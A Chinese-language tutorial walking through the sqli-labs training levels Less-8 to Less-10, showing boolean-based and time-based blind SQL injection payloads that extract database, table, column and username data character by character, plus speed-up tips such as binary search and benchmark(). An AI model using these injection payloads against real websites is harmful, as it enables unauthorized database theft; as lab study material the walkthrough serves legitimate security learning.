sqli-labs-布尔盲注 (Less-8),时间盲注 (Less-9~10)

布尔盲注:

特点: 无数据回显,无错误信息,只有"你在"/"不在"两种状态。

bash 复制代码
-- 长度判断:页面正常
?id=1' and length(database())=8 --+
-- 逐位猜解:ASCII 115 对应 's'
?id=1' and ascii(substr(database(),1,1))=115 --+
-- 表名(第一个表的第一位,ASCII 101 对应 'e')
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
-- 字段名(users 表第一个字段第一位,ASCII 117 对应 'u')
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117 --+
-- username 第一位(ASCII 68 对应 'D')
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+

Less-8 单引号闭合,靠页面是否回显 "You are in..........." 判断条件真假,用 ascii(substr(...)) 逐位爆破所有数据

盲注提速 :实际可用二分法(>N / <N)替代等值爆破,或写脚本自动化

时间盲注:

特点: 无论查询成功与否都返回相同页面,只能用延迟判断。

bash 复制代码
Less9
--判断闭合与注入存在 (单引号 + sleep 验证)
?id=1' and sleep(5) --+
--爆库名长度
?id=1' and if(length(database())=8,sleep(5),1) --+
--逐位猜解库名
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
--爆表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) --+
-- 字段名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+
-- 数据(username 第一位)
?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1) --+


Less10
-- 验证闭合
?id=1" and sleep(5) --+
-- 爆库名长度(security 长度为 8)
?id=1" and if(length(database())=8,sleep(5),1) --+
-- 逐位猜库名(ASCII 115 = 's')
?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
-- 爆表名(第一个表第一位,ASCII 101 = 'e')
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) --+
-- 爆字段名
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+
-- 爆数据
?id=1" and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1) --+

Less-9 单引号闭合,无回显无报错,全靠 if(猜解条件, sleep(5), 1) 的响应时间差逐位爆破数据。(显示在等待sqli请求)

盲注提速 :实际可用二分法(>N / <N)替代等值爆破,或写脚本自动化

Less-10 是 Less-9 的双引号闭合版本

原理分析

  • IF(条件, sleep(5), 0) --- 条件为真时延迟5秒

  • 页面响应时间差异即为判断依据

  • 是最慢的注入方式,但在完全无回显时最可靠

  • 实际渗透中需考虑网络延迟和 sleep() 被禁用的情况(可用 benchmark() 替代)

相关推荐
深蓝AI17 小时前
Meta 开源用了八年的设计系统 astryx:连坐两天 GitHub 总榜第一,组件库开始写给 agent 的说明书
前端·人工智能
IT_陈寒17 小时前
Vue的watch把我坑惨了,原来要这样用才靠谱
前端·人工智能·后端
1-1=018 小时前
Vue 3 模板语
前端·javascript·vue.js
用户76103044737118 小时前
【转战智能眼镜开发】ROKID AIUI 小游戏 亚马逊标枪项目实战讲解
前端
风卿18 小时前
看着AI写代码太孤独了,来欣赏星云吧:一个DSH 装饰插件
前端·javascript
牧艺18 小时前
弹层不用再手算坐标了:CSS Anchor Positioning 从原理到可上线
前端·javascript·css
用户老李18 小时前
YOLO 目标检测自学教程 07:YOLOv3——多尺度预测
前端
moshuying19 小时前
ESP32 墨水屏金价牌(上):从点亮到把图片推过去
前端
李剑一19 小时前
别再抬杠,前端岗已经没了!无论前后端,我们最终都要成“全干”工程师
前端·面试
Highcharts.js19 小时前
Highcharts 仪表盘与速度仪图表库介绍
前端·信息可视化·仪表板·highcharts·图表开发·图表库·仪表可视化